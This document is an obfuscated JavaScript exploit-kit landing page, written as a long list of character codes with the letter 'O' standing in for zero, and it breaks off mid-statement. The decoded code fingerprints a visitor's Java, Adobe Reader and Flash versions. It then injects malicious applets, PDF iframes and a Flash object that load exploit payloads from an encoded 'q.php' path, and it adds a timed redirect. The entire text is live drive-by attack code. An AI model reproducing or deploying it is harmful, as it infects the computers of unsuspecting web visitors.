111,11O,34,41,41,125,99,97,116,99,1O4,4O,1O7,41,123,125,125,1O5,1O2,4O,33,1O8,41,123,1OO,61,1O9,63,1O9,46,1O1,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,58,11O,117,1O8,1O8,59,1O5,1O2,4O,1OO,38,38,1OO,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,41,123,1O8,61,98,4O,1OO,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,41,125,1O5,1O2,4O,1O8,41,123,1O8,61,1O3,46,1O3,1O1,116,8O,1O8,117,1O3,1O5,11O,7O,1O5,1O8,1O1,86,1O1,114,115,1O5,111,11O,4O,1OO,44,1O8,41,125,125,125,1O1,1O8,115,1O1,123,1O2,111,114,4O,1O4,61,49,53,59,1O4,62,5O,59,1O4,45,45,41,123,99,61,1O3,46,1O3,1O1,116,65,88,79,4O,1O6,46,112,114,111,1O3,73,68,43,34,46,34,43,1O4,41,59,1O5,1O2,4O,99,41,123,97,61,1O4,46,116,111,83,116,114,1O5,11O,1O3,4O,41,59,98,114,1O1,97,1O7,125,125,1O5,1O2,4O,33,99,41,123,99,61,1O3,46,1O3,1O1,116,65,88,79,4O,1O6,46,112,114,111,1O3,73,68,41,125,1O5,1O2,4O,97,61,61,34,54,34,41,123,116,114,121,123,99,46,65,1O8,1O8,111,119,83,99,114,1O5,112,116,65,99,99,1O1,115,115,61,34,97,1O8,119,97,121,115,34,125,99,97,116,99,1O4,4O,1O7,41,123,114,1O1,116,117,114,11O,34,54,44,48,44,5O,49,44,48,34,125,125,116,114,121,123,1O8,61,98,4O,99,46,71,1O1,116,86,97,114,1O5,97,98,1O8,1O1,4O,34,36,118,1O1,114,115,1O5,111,11O,34,41,41,125,99,97,116,99,1O4,4O,1O7,41,123,125,1O5,1O2,4O,33,1O8,38,38,97,41,123,1O8,61,97,125,125,1O6,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,1O8,63,49,58,45,49,59,1O6,46,118,1O1,114,115,1O5,111,11O,61,1O3,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O8,41,59,114,1O1,116,117,114,11O,32,116,114,117,1O1,125,125,44,97,1OO,111,98,1O1,114,1O1,97,1OO,1O1,114,58,123,1O9,1O5,1O9,1O1,84,121,112,1O1,58,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,112,1OO,1O2,34,44,11O,97,118,8O,1O8,117,1O3,1O5,11O,79,98,1O6,58,11O,117,1O8,1O8,44,112,114,111,1O3,73,68,58,91,34,65,99,114,111,8O,68,7O,46,8O,68,7O,34,44,34,8O,68,7O,46,8O,1OO,1O2,67,116,114,1O8,34,93,44,99,1O8,97,115,115,73,68,58,34,99,1O8,115,1O5,1OO,58,67,65,56,65,57,55,56,48,45,5O,56,48,68,45,49,49,67,7O,45,65,5O,52,68,45,52,52,52,53,53,51,53,52,48,48,48,48,34,44,73,78,83,84,65,76,76,69,68,58,123,125,44,112,1O8,117,1O3,1O5,11O,72,97,115,77,1O5,1O9,1O1,84,121,112,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,44,99,44,1O2,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1O1,61,98,46,36,44,97,59,1O2,111,114,4O,97,32,1O5,11O,32,1OO,41,123,1O5,1O2,4O,1OO,91,97,93,38,38,1OO,91,97,93,46,116,121,112,1O1,38,38,1OO,91,97,93,46,116,121,112,1O1,61,61,99,41,123,114,1O1,116,117,114,11O,32,49,125,125,1O5,1O2,4O,1O1,46,1O3,1O1,116,77,1O5,1O9,1O1,69,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,4O,99,44,1O2,41,41,123,114,1O1,116,117,114,11O,32,49,125,114,1O1,116,117,114,11O,32,48,125,44,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O8,44,1O6,41,123,118,97,114,32,1O3,61,116,1O4,1O5,115,44,1OO,61,1O3,46,36,44,1O5,44,1O2,44,1O9,44,11O,44,98,61,11O,117,1O8,1O8,44,1O4,61,11O,117,1O8,1O8,44,1O7,61,1O3,46,1O9,1O5,1O9,1O1,84,121,112,1O1,44,97,44,99,59,1O5,1O2,4O,1OO,46,1O5,115,83,116,114,1O5,11O,1O3,4O,1O6,41,41,123,1O6,61,1O6,46,114,1O1,112,1O8,97,99,1O1,4O,47,92,115,47,1O3,44,34,34,41,59,1O5,1O2,4O,1O6,41,123,1O7,61,1O6,125,125,1O1,1O8,115,1O1,123,1O6,61,11O,117,1O8,1O8,125,1O5,1O2,4O,1OO,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,1O3,46,73,78,83,84,65,76,76,69,68,91,1O7,93,41,41,123,1O3,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,1O3,46,73,78,83,84,65,76,76,69,68,91,1O7,93,59,114,1O1,116,117,114,11O,125,1O5,1O2,4O,33,1OO,46,1O5,115,73,69,41,123,97,61,34,65,1OO,111,98,1O1,46,42,8O,68,7O,46,42,8O,1O8,117,1O3,45,63,1O5,11O,124,65,1OO,111,98,1O1,46,42,65,99,114,111,98,97,116,46,42,8O,1O8,117,1O3,45,63,1O5,11O,124,65,1OO,111,98,1O1,46,42,82,1O1,97,1OO,1O1,114,46,42,8O,1O8,117,1O3,45,63,1O5,11O,34,59,1O5,1O2,4O,1O3,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,33,61,61,48,41,123,1O3,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,48,59,98,61,1OO,46,1O3,1O1,116,77,1O5,1O9,1O1,69,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,4O,1O3,46,1O9,1O5,1O9,1O1,84,121,112,1O1,44,97,41,59,1O5,1O2,4O,33,1O6,41,123,11O,61,98,125,1O5,1O2,4O,33,98,38,38,1OO,46,1O4,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,1O3,46,1O9,1O5,1O9,1O1,84,121,112,1O1,41,41,123,98,61,1OO,46,1O2,1O5,11O,1OO,78,97,118,8O,1O8,117,1O3,1O5,11O,4O,97,44,48,41,125,1O5,1O2,4O,98,41,123,1O3,46,11O,97,118,8O,1O8,117,1O3,1O5,11O,79,98,1O6,61,98,59,1O4,61,1OO,46,1O3,1O1,116,78,117,1O9,4O,98,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,41,124,124,1OO,46,1O3,1O1,116,78,117,1O9,4O,98,46,11O,97,1O9,1O1,41,59,1O4,61,1OO,46,1O3,1O1,116,8O,1O8,117,1O3,1O5,11O,7O,1O5,1O8,1O1,86,1O1,114,115,1O5,111,11O,4O,98,44,1O4,41,59,1O5,1O2,4O,33,1O4,38,38,1OO,46,79,83,61,61,49,41,123,1O5,1O2,4O,1O3,46,112,1O8,117,1O3,1O5,11O,72,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,98,44,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,118,11O,1OO,46,97,1OO,111,98,1O1,46,112,1OO,1O2,12O,1O9,1O8,34,44,97,41,41,123,1O4,61,34,57,34,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,1O3,46,112,1O8,117,1O3,1O5,11O,72,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,98,44,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,118,11O,1OO,46,97,1OO,111,98,1O1,46,12O,45,1O9,97,114,115,34,44,97,41,41,123,1O4,61,34,56,34,125,125,125,125,125,1O1,1O8,115,1O1,123,1O4,61,1O3,46,118,1O1,114,115,1O5,111,11O,125,1O5,1O2,4O,33,1OO,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,11O,41,41,123,11O,61,1OO,46,1O3,1O1,116,77,1O5,1O9,1O1,69,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,4O,1O7,44,97,41,125,1O3,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,11O,38,38,1O4,63,49,58,4O,11O,63,48,58,4O,1O3,46,11O,97,118,8O,1O8,117,1O3,1O5,11O,79,98,1O6,63,45,48,46,5O,58,45,49,41,41,125,1O1,1O8,115,1O1,123,98,61,1OO,46,1O3,1O1,116,65,88,79,4O,1O3,46,112,114,111,1O3,73,68,91,48,93,41,124,124,1OO,46,1O3,1O1,116,65,88,79,4O,1O3,46,112,114,111,1O3,73,68,91,49,93,41,59,99,61,47,61,92,115,42,4O,91,92,1OO,92,46,93,43,41,47,1O3,59,116,114,121,123,1O2,61,4O,98,124,124,1OO,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1OO,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,99,1O8,97,115,115,1O5,1OO,34,44,1O3,46,99,1O8,97,115,115,73,68,93,44,91,34,115,114,99,34,44,34,34,93,44,34,34,44,1O3,41,41,41,46,71,1O1,116,86,1O1,114,115,1O5,111,11O,115,4O,41,59,1O2,111,114,4O,1O9,61,48,59,1O9,6O,53,59,1O9,43,43,41,123,1O5,1O2,4O,99,46,116,1O1,115,116,4O,1O2,41,38,38,4O,33,1O4,124,124,1O4,6O,82,1O1,1O3,69,12O,112,46,36,49,41,41,123,1O4,61,82,1O1,1O3,69,12O,112,46,36,49,125,125,125,99,97,116,99,1O4,4O,1O5,41,123,125,1O3,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,1O4,63,49,58,4O,98,63,48,58,45,49,41,125,1O5,1O2,4O,33,1O3,46,118,1O1,114,115,1O5,111,11O,41,123,1O3,46,118,1O1,114,115,1O5,111,11O,61,1OO,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O4,41,125,1O3,46,73,78,83,84,65,76,76,69,68,91,1O7,93,61,1O3,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,125,125,44,122,122,58,48,125,125,59,112,1OO,112,1OO,46,1O5,11O,1O5,116,83,99,114,1O5,112,116,4O,41,59,112,1OO,112,1OO,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,34,46,34,41,59,118,97,114,32,36,36,32,61,32,112,1OO,112,1OO,59,1O2,117,11O,99,116,1O5,111,11O,32,12O,4O,115,41,123,1OO,61,91,93,59,1O2,111,114,4O,1O5,61,48,59,1O5,6O,115,46,1O8,1O1,11O,1O3,116,1O4,59,1O5,43,43,41,123,1O7,61,4O,115,46,99,1O4,97,114,67,111,1OO,1O1,65,116,4O,1O5,41,41,46,116,111,83,116,114,1O5,11O,1O3,4O,51,51,41,59,1OO,46,112,117,115,1O4,4O,1O7,41,59,125,59,114,1O1,116,117,114,11O,32,1OO,46,1O6,111,1O5,11O,4O,34,58,34,41,59,125,1O1,11O,1OO,95,114,1O1,1OO,1O5,114,1O1,99,116,61,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,125,59,1O2,117,11O,99,116,1O5,111,11O,32,1O6,49,4O,41,123,1O5,1O2,4O,4O,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,99,1O8,1O5,1O1,11O,116,87,1O5,1OO,116,1O4,124,124,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,111,1O2,1O2,115,1O1,116,87,1O5,1OO,116,1O4,41,6O,51,48,41,32,123,118,97,114,32,111,83,112,97,11O,61,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,1OO,1O5,118,34,41,59,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,97,112,112,1O1,11O,1OO,67,1O4,1O5,1O8,1OO,4O,111,83,112,97,11O,41,59,111,83,112,97,11O,46,1O5,11O,11O,1O1,114,72,84,77,76,61,34,6O,97,112,112,1O8,1O1,116,32,97,114,99,1O4,1O5,118,1O1,61,92,34,47,5O,55,97,97,5O,97,5O,97,99,48,53,1OO,57,55,98,56,97,57,5O,51,53,49,57,1OO,98,51,53,57,52,48,57,99,47,113,46,112,1O4,112,63,121,114,1O6,116,99,114,12O,61,98,97,1O7,98,99,118,1OO,117,38,116,112,114,1O1,61,98,1O3,1O8,92,34,32,99,111,1OO,1O1,61,92,34,38,35,48,48,49,48,52,59,38,35,48,48,49,49,57,59,92,34,62,6O,112,97,114,97,1O9,32,11O,97,1O9,1O1,61,92,34,38,35,48,48,49,49,5O,59,114,1O5,1O9,1O1,92,34,32,118,97,1O8,117,1O1,61,92,34,119,54,1O4,54,119,8O,52,119,52,76,1O6,1O4,66,86,86,1O4,86,1O4,86,37,1O2,52,77,99,66,63,114,86,99,1O4,49,52,54,99,77,63,49,52,99,76,1O2,99,37,1O6,1O4,66,86,86,1O4,86,1O4,86,37,1O2,52,77,99,66,63,114,86,99,1O4,49,52,54,99,77,63,49,52,99,76,1O2,99,37,1O6,7O,119,51,68,51,12O,67,46,98,54,68,79,54,113,79,54,56,79,49,1O2,79,54,67,82,83,1O1,98,54,65,79,54,111,79,49,1O4,79,49,49,79,54,111,79,54,111,79,54,111,79,1O4,118,79,49,54,79,54,116,82,37,98,54,46,82,118,75,98,1O7,82,63,1O7,98,113,92,34,32,47,62,6O,112,97,114,97,1O9,32,11O,97,1O9,1O1,61,92,34,118,97,38,35,48,48,49,48,56,59,92,34,32,118,97,1O8,117,1O1,61,92,34,68,121,121,51,79,1O6,1O6,54,1O4,99,92,34,47,62,6O,47,97,112,112,1O8,1O1,116,62,34,59,125,114,1O1,116,117,114,11O,32,116,114,117,1O1,59,125,1O2,117,11O,99,116,1O5,111,11O,32,1O6,5O,4O,41,123,1O5,1O2,4O,4O,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,99,1O8,1O5,1O1,11O,116,87,1O5,1OO,116,1O4,124,124,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,111,1O2,1O2,115,1O1,116,87,1O5,1OO,116,1O4,41,6O,51,48,41,32,123,118,97,114,32,111,83,112,97,11O,61,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,1OO,1O5,118,34,41,59,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,97,112,112,1O1,11O,1OO,67,1O4,1O5,1O8,1OO,4O,111,83,112,97,11O,41,59,111,83,112,97,11O,46,1O5,11O,11O,1O1,114,72,84,77,76,61,34,6O,97,112,112,1O8,1O1,116,32,97,114,99,1O4,1O5,118,1O1,61,92,34,47,5O,55,97,97,5O,97,5O,97,99,48,53,1OO,57,55,98,56,97,57,5O,51,53,49,57,1OO,98,51,53,57,52,48,57,99,47,113,46,112,1O4,112,63,11O,12O,112,1O2,116,61,117,115,116,1O1,121,115,38,11O,97,1O6,61,117,111,1O1,1O9,98,111,92,34,32,99,111,1OO,1O1,61,92,34,38,35,48,48,49,48,52,59,38,35,48,48,49,49,57,59,92,34,62,6O,112,97,114,97,1O9,32,11O,97,1O9,1O1,61,92,34,112,38,35,48,48,49,49,52,59,1O5,1O9,1O1,92,34,32,118,97,1O8,117,1O1,61,92,34,119,54,1O4,54,119,8O,52,119,52,76,1O6,1O4,66,86,86,1O4,86,1O4,86,37,1O2,52,77,99,66,63,114,86,99,1O4,49,52,54,99,77,63,49,52,99,76,1O2,99,37,1O6,1O4,66,86,86,1O4,86,1O4,86,37,1O2,52,77,99,66,63,114,86,99,1O4,49,52,54,99,77,63,49,52,99,76,1O2,99,37,1O6,7O,119,51,68,51,12O,67,46,98,54,68,79,54,113,79,54,56,79,49,1O2,79,54,67,82,83,1O1,98,54,65,79,54,111,79,49,1O4,79,49,49,79,54,111,79,54,111,79,54,111,79,1O4,118,79,49,54,79,54,116,82,37,98,54,46,82,118,75,98,1O7,82,63,1O7,98,113,92,34,32,47,62,6O,112,97,114,97,1O9,32,11O,97,1O9,1O1,61,92,34,118,38,35,48,48,57,55,59,1O8,92,34,32,118,97,1O8,117,1O1,61,92,34,68,121,121,51,79,1O6,1O6,54,1O4,99,92,34,47,62,6O,47,97,112,112,1O8,1O1,116,62,34,59,125,114,1O1,116,117,114,11O,32,116,114,117,1O1,59,125,1O2,117,11O,99,116,1O5,111,11O,32,112,49,4O,41,123,118,97,114,32,1OO,61,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,1O5,1O2,114,97,1O9,1O1,34,41,59,1OO,46,115,1O1,116,65,116,116,114,1O5,98,117,116,1O1,4O,34,115,114,99,34,44,34,47,5O,55,97,97,5O,97,5O,97,99,48,53,1OO,57,55,98,56,97,57,5O,51,53,49,57,1OO,98,51,53,57,52,48,57,99,47,113,46,112,1O4,112,63,97,1O2,1O8,122,61,34,43,12O,4O,34,5O,53,51,99,52,34,41,43,34,38,97,112,1O7,113,1OO,1O2,113,12O,61,34,43,12O,4O,34,1O8,1O5,121,34,41,43,34,38,122,1O1,113,1O8,1O8,118,1O8,1O7,61,49,1O3,58,49,11O,58,51,5O,58,51,51,58,49,11O,58,49,11O,58,49,11O,58,5O,118,58,51,49,58,49,111,38,122,1O7,1O7,1O5,1O8,97,113,61,34,43,12O,4O,112,1OO,1O2,118,1O1,114,46,1O6,111,1O5,11O,4O,34,46,34,41,41,41,59,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,97,112,112,1O1,11O,1OO,67,1O4,1O5,1O8,1OO,4O,1OO,41,59,125,1O2,117,11O,99,116,1O5,111,11O,32,112,5O,4O,41,123,118,97,114,32,1OO,61,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,1O5,1O2,114,97,1O9,1O1,34,41,59,1OO,46,115,1O1,116,65,116,116,114,1O5,98,117,116,1O1,4O,34,115,114,99,34,44,34,47,5O,55,97,97,5O,97,5O,97,99,48,53,1OO,57,55,98,56,97,57,5O,51,53,49,57,1OO,98,51,53,57,52,48,57,99,47,113,46,112,1O4,112,63,112,1O2,1O2,119,12O,119,1O9,61,34,43,12O,4O,34,5O,53,51,99,52,34,41,43,34,38,114,1O9,117,99,61,34,43,12O,4O,34,114,34,41,43,34,38,1O6,12O,119,116,1O6,61,49,1O3,58,49,11O,58,51,5O,58,51,51,58,49,11O,58,49,11O,58,49,11O,58,5O,118,58,51,49,58,49,111,38,113,12O,97,1O9,61,34,43,12O,4O,112,1OO,1O2,118,1O1,114,46,1O6,111,1O5,11O,4O,34,46,34,41,41,41,59,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,97,112,112,1O1,11O,1OO,67,1O4,1O5,1O8,1OO,4O,1OO,41,59,125,1O2,117,11O,99,116,1O5,111,11O,32,112,51,4O,41,123,114,1O1,116,117,114,11O,32,1O2,97,1O8,115,1O1,59,125,1O2,117,11O,99,116,1O5,111,11O,32,1O2,49,4O,41,123,118,97,114,32,111,83,112,97,11O,61,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,115,112,97,11O,34,41,59,1OO,111,99,117,1O9,1O1,11O,116,46,98,111,1OO,121,46,97,112,112,1O1,11O,1OO,67,1O4,1O5,1O8,1OO,4O,111,83,112,97,11O,41,59,118,97,114,32,117,114,1O8,32,61,32,34,47,5O,55,97,97,5O,97,5O,97,99,48,53,1OO,57,55,98,56,97,57,5O,51,53,49,57,1OO,98,51,53,57,52,48,57,99,47,113,46,112,1O4,112,63,12O,118,114,1O1,61,34,43,12O,4O,34,5O,53,51,99,52,34,41,43,34,38,119,1O6,116,121,122,61,34,43,12O,4O,34,1O8,1OO,12O,97,121,1O3,34,41,43,34,38,98,98,122,119,61,49,1O3,58,49,11O,58,51,5O,58,51,51,58,49,11O,58,49,11O,58,49,11O,58,5O,118,58,51,49,58,49,111,38,1O5,11O,1O2,111,61,48,5O,1O1,54,98,49,53,5O,53,51,53,51,99,97,97,56,97,1OO,52,1OO,52,1O1,99,56,97,1O1,52,57,52,1O1,52,56,97,1O1,52,57,52,57,97,1O2,52,57,52,1O2,97,98,52,1OO,52,56,51,53,51,54,52,1O1,55,56,98,56,49,1O1,55,57,97,57,54,1O1,51,49,56,57,53,1O1,1O2,49,51,1O1,51,49,53,57,49,57,5O,57,51,57,98,49,1O1,1O1,53,1O1,49,57,5O,57,51,49,54,57,55,57,98,49,49,1O1,98,56,55,48,55,48,56,1O2,55,48,52,56,55,48,57,54,54,57,98,49,48,56,49,55,55,55,55,98,56,57,56,52,54,48,49,1O1,34,59,111,83,112,97,11O,46,1O5,11O,11O,1O1,114,72,84,77,76,61,34,6O,111,98,1O6,1O1,99,116,32,99,1O8,97,115,115,1O5,1OO,61,39,99,1O8,115,1O5,1OO,58,68,5O,55,67,68,66,54,69,45,65,69,54,68,45,49,49,99,1O2,45,57,54,66,56,45,52,52,52,53,53,51,53,52,48,48,48,48,39,32,1O5,1OO,61,39,97,115,1OO,39,32,119,1O5,1OO,116,1O4,61,39,54,48,48,39,32,1O4,1O1,1O5,1O3,1O4,116,61,39,52,48,48,39,32,99,111,1OO,1O1,98,97,115,1O1,61,39,1O4,116,116,112,58,47,47,1OO,111,119,11O,1O8,111,97,1OO,46,1O9,97,99,114,111,1O9,1O1,1OO,1O5,97,46,99,111,1O9,47,112,117,98,47,115,1O4,111,99,1O7,119,97,118,1O1,47,99,97,98,115,47,1O2,1O8,97,115,1O4,47,115,119,1O2,1O8,97,115,1O4,46,99,97,98,39,62,6O,112,97,114,97,1O9,32,11O,97,1O9,1O1,61,39,1O9,111,118,1O5,1O1,39,32,118,97,1O8,117,1O1,61,39,34,43,117,114,1O8,43,34,39,32,47,62,6O,1O1,1O9,98,1O1,1OO,32,115,114,99,61,39,34,43,117,114,1O8,43,34,39,32,11O,97,1O9,1O1,61,39,97,115,1OO,39,32,97,1O8,1O5,1O3,11O,61,39,1O9,1O5,1OO,1OO,1O8,1O1,39,32,97,1O8,1O8,111,119,78,1O1,116,119,111,114,1O7,1O5,11O,1O3,61,39,97,1O8,1O8,39,32,116,121,112,1O1,61,39,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,12O,45,115,1O4,111,99,1O7,119,97,118,1O1,45,1O2,1O8,97,115,1O4,39,32,112,1O8,117,1O3,1O5,11O,115,112,97,1O3,1O1,61,39,1O4,116,116,112,58,47,47,119,119,119,46,1O9,97,99,114,111,1O9,1O1,1OO,1O5,97,46,99,111,1O9,47,1O3,111,47,1O3,1O1,116,1O2,1O8,97,115,1O4,112,1O8,97,121,1O1,114,39,62,6O,47,1O1,1O9,98,1O1,1OO,62,6O,47,111,98,1O6,1O1,99,116,62,34,59,125,1O2,117,11O,99,116,1O5,111,11O,32,1O2,1O2,5O,4O,41,123,114,1O1,116,117,114,11O,32,1O2,97,1O8,115,1O1,59,125,1OO,111,99,117,1O9,1O1,11O,116,46,119,114,1O5,116,1O1,4O,39,39,41,59,115,1O1,116,84,1O5,1O9,1O1,111,117,116,4O,1O1,11O,1OO,95,114,1O1,1OO,1O5,114,1O1,99,116,44,54,49,48,48,48,41,59,118,97,114,32,112,1OO,1O2,118,1O1,114,61,91,93,59,1O2,117,11O,99,116,1O5,111,11O,32,115,118,119,114,98,1O1,119,54,52,51,54,98,4O,36,41,123,118,97,114,32,97,114,32,61,32,91,93,59,118,97,114,32,1O6,97,118,97,12O,32,61,32,4O,36,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,34,74,97,34,43,34,118,97,34,41,43,34,46,34,41,46,116,111,83,116,114,1O5,11O,1O3,4O,41,91,34,115,112,1O8,1O5,116,34,93,4O,34,46,34,41,59,1O5,1O2,32,4O,36,46,1O5,115,77,1O5,11O,86,1O1,114,115,1O5,111,11O,4O,34,74,97,34,43,34,118,97,34,41,62,61,48,38,38,4O,4O,1O6,97,118,97,12O,91,48,93,61,61,49,38,38,1O6,97,118,97,12O,91,49,93,61,61,55,38,38,1O6,97,118,97,12O,91,51,93,6O,57,41,41,41,123,97,114,91,34,112,117,115,1O4,34,93,4O,1O6,5O,41,59,125,32,1O1,1O8,115,1O1,32,1O5,1O2,4O,36,46,1O5,115,77,1O5,11O,86,1O1,114,115,1O5,111,11O,4O,34,74,97,34,43,34,118,97,34,41,62,61,48,38,38,4O,4O,1O6,97,118,97,12O,91,48,93,61,61,49,38,38,1O6,97,118,97,12O,91,49,93,61,61,54,38,38,1O6,97,118,97,12O,91,51,93,6O,51,51,41,124,124,4O,1O6,97,118,97,12O,91,48,93,61,61,49,38,38,1O6,97,118,97,12O,91,49,93,6O,54,41,41,41,123,97,114,91,34,112,117,115,1O4,34,93,4O,1O6,49,41,59,125,112,1OO,1O2,118,1O1,114,61,112,1OO,112,1OO,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,34,65,1OO,111,98,1O1,82,1O1,97,1OO,1O1,114,34,41,59,1O5,1O2,4O,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,41,1O5,1O2,4O,116,121,112,1O1,111,1O2,32,112,1OO,1O2,118,1O1,114,61,61,34,115,116,114,1O5,11O,1O3,34,41,123,112,1OO,1O2,118,1O1,114,61,112,1OO,1O2,118,1O1,114,91,34,115,112,1O8,1O5,116,34,93,4O,34,46,34,41,125,1O1,1O8,115,1O1,123,112,1OO,1O2,118,1O1,114,61,91,48,44,48,44,48,44,48,93,125,1O5,1O2,4O,112,1OO,1O2,118,1O1,114,91,48,93,62,48,38,38,112,1OO,1O2,118,1O1,114,91,48,93,6O,56,41,123,1O5,1O2,4O,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,41,97,114,91,34,112,117,115,1O4,34,93,4O,112,49,41,59,125,1O5,1O2,32,4O,4O,4O,112,1OO,1O2,118,1O1,114,91,48,93,61,61,57,41,38,38,4O,112,1OO,1O2,118,1O1,114,91,49,93,62,61,51,41,41,124,124,4O,4O,112,1OO,1O2,118,1O1,114,91,48,93,61,61,49,48,41,38,38,4O,112,1OO,1O2,118,1O1,114,91,49,93,6O,49,48,51,41,41,41,32,123,97,114,91,34,112,117,115,1O4,34,93,4O,112,51,41,59,125,32,1O1,1O8,115,1O1,32,123,1O5,1O2,4O,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,38,38,4O,112,1OO,1O2,118,1O1,114,91,48,93,61,61,56,124,124,4O,112,1OO,1O2,118,1O1,114,91,48,93,61,61,57,38,38,112,1OO,1O2,118,1O1,114,91,49,93,6O,52,41,41,41,123,97,114,91,34,112,117,115,1O4,34,93,4O,112,5O,41,59,125,125,118,97,114,32,118,1O1,114,32,61,32,4O,36,36,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,34,7O,1O8,97,115,1O4,34,41,43,34,46,34,41,46,116,111,83,116,114,1O5,11O,1O3,4O,41,91,34,115,112,1O8,1O5,116,34,93,4O,34,46,34,41,59,1O5,1O2,32,4O,4O,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,61,61,48,38,38,118,1O1,114,91,5O,93,62,52,48,41,124,124,4O,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,38,38,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,62,48,41,38,38,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,6O,5O,41,41,41,124,124,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,38,38,4O,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,61,61,5O,38,38,118,1O1,114,91,5O,93,6O,49,53,57,41,124,124,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,6O,5O,41,41,41,123,97,114,91,34,112,117,115,1O4,34,93,4O,1O2,1O2,5O,41,59,125,1O5,1O2,4O,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,61,61,51,38,38,118,1O1,114,91,5O,93,61,61,49,56,49,38,38,118,1O1,114,91,51,93,6O,61,5O,51,41,124,124,4O,118,1O1,114,91,48,93,61,61,49,48,38,38,118,1O1,114,91,49,93,61,61,51,38,38,118,1O1,114,91,5O,93,6O,49,56,49,41,41,123,97,114,91,34,112,117,115,1O4,34,93,4O,1O2,49,41,59,125,118,97,114,32,97,114,99,97,1O8,1O8,1O5,61,48,59,118,97,114,32,97,114,99,97,1O8,1O8,32,61,32,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,1O5,1O2,4O,97,114,46,1O8,1O1,11O,1O3,116,1O4,6O,61,97,114,99,97,1O8,1O8,1O5,41,114,1O1,116,117,114,11O,32,49,5O,51,59,115,115,61,115,1O1,116,84,1O5,1O9,1O1,111,117,116,59,118,97,114,32,114,1O1,115,61,97,114,91,97,114,99,97,1O8,1O8,1O5,93,4O,41,59,97,114,99,97,1O8,1O8,1O5,43,43,59,1O5,1O2,4O,114,1O1,115,38,38,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,41,123,115,115,4O,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,97,114,99,97,1O8,1O8,4O,41,125,44,53,53,48,57,41,59,125,1O1,1O8,115,1O1,123,97,114,99,97,1O8,1O8,4O,41,59,125,125,59,97,114,99,97,1O8,1O8,4O,41,59,125,36,36,91,34,111,11O,68,1O1,116,1O1,99,34,43,34,116,1O5,111,11O,68,111,11O,1O1,34,93,4O,34,74,97,34,43,34,118,97,34,44,32,115,118,119,114,